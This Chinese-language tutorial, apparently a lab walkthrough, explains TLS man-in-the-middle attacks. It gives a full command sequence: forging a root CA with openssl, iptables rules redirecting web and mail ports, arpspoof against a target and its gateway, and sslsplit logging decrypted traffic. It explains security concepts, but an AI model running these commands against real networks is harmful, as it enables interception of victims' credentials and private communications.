原理:终端发送流量经过路由转发,流量被中间人劫持,直到中间人放回给服务器(中间人需具备与服务器端看起来差不多的条件)
攻击者位于客户端和服务器通信链路中进行的攻击方式:
1、ARP欺骗:(把中间人的mac地址当作网关,从而让流量流经中间人(伪造证书、解密加密信息等操作))——>欺骗终端设备,让网关误认为是中间人,从而得到流量。
2、DHCP:(动态主机配置协议,自动分配ip地址)
#举例:假使客户端与攻击者在同一网段下,攻击者本地安装DHCP服务,一旦离客户端近,那么先响应攻击者的DHCP服务(从而分配网关、IP、DNS等),先响应向接纳。
3、修改网关
4、修改DNS
5、修改HOSTS
#3、4、5方式不容易进行操作,当真正控制客户端主机,方才容易进行。
#类似:ICMP、STP、OSPF协议(主要是通过攻击协议,让终端流量都经过攻击者电脑)
#加密流量:将劫持的流量解密查看信息,再加密发给目标
攻击者发起攻击的前提:
1、客户端已经信任伪造证书颁发机构(服务器端的伪造根证书)
2、攻击者控制了核发证书颁发机构
3、客户端程序禁止了显示证书错误告警信息(客户端已完成)
##只要不出现给客户端知晓的报错信息,那么客户端很难发现被中间人了。除非清楚服务器的证书是什么比对与服务器的公私钥交换情况
4、攻击者已经控制客户端,并强制其信 任伪造证书
#利用工具:Kali(sslsplit)、主机;Kali作为中间人攻击者,主机作为客户端。
说明:SSLsplit
1、透明SSL/TLS中间人攻击工具
2、对客户端伪装成服务器,对服务器伪装成普通客户端
3、伪装服务器需要伪造证书
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
下面进行具体操作:
利用openssl生成证书私钥:
openssl genrsa -out ca.key 2048
利用私钥签名生成根证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
#对于真正使用中间人攻击,配置方面尽量真实
这里的ca.crt与ca.key分别为:私钥签名生成根证书、证书私钥
下面是具体内容以及设置证书时自己配置的相关的配置信息:
#在根证书里面,存在的只是证书的公钥,到中间人端的私钥是我们自己生成的,也就是ca.key。
启动路由:
sysctl -w net.ipv4.ip_forward=1
配置iprables端口转发规则:
iptables -t nat -F(清空当前配置)
iptables -t nat -L(查看当前配置)
#先查看本地的443端口和80端口是否有开,有开结束掉,不让被占用。从而iptables会将流量引入到sslsplit端口,从而实现流量的解密。(本地又开的话,就会直接访问本机web站点)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
#对将80端口收到的流量发送给8080端口,8080设置为sslsplit从而解密到来的流量得到明文信息。
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
#对将443端口收到的流量发送给8443端口,8443设置为sslsplit从而解密到来的流量得到信息。
再多举一些:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
#当所有配置完成后,再来查看当前配置是否成功:
iptables -t nat -L
即如:
首先需要将Kali网卡配好,将客户端真实网关的mac地址配置为中间人(Kali)的网卡的mac地址:
arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
(-t接目标IP,-r接目标网关)
然后需要创建保存客户端流量的日志文件的目录,这里以:test/logdir作为例子,然后再开启侦听,读取客户端访问通过SSL加密的网站流量信息。
启动SSLsplot:
mkdir -p test/logdir
#配置的时候遇到问题,是tool的错,所以建议自己手动新建。
侦听:
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
(启动8080与8443的侦听)
#请求内容放在logdir内
#网关的真实mac是上面的,当开启欺骗后,将会把网关mac变为中间人的网卡mac地址。
启动侦听:
#当被害者访问taobao、百度、mail.163.com(有些http做了登陆过程用SSL加密但非全站https也会有证书错误告警),即经过SSL加密后的流量都会被记录下来,保存在logdir中,查看就能看到被解密出来的明文信息:
随便打开一个,可能没有信息,也不是经SSL加密的流量:
很多时候,中间人伪造的证书并不是特别精密的话,一般都会在浏览器上出现报错信息,查看日志和浏览器证书及证书报错信息,但当安装中间人生成的根证书之后再次访问,便不会报错。
#当中间人劫持到加密流量后,本应全部解密为明文信息,可是有些登陆账号中密码仍为密文,主要是:在登陆输入密码那里会有一个控件,先对密码做了加密机制,在经过流量转发,所以尽管看到流量内内容,但密码仍是加密状态。
以上便是呈现中间人攻击原理的最好解释流程。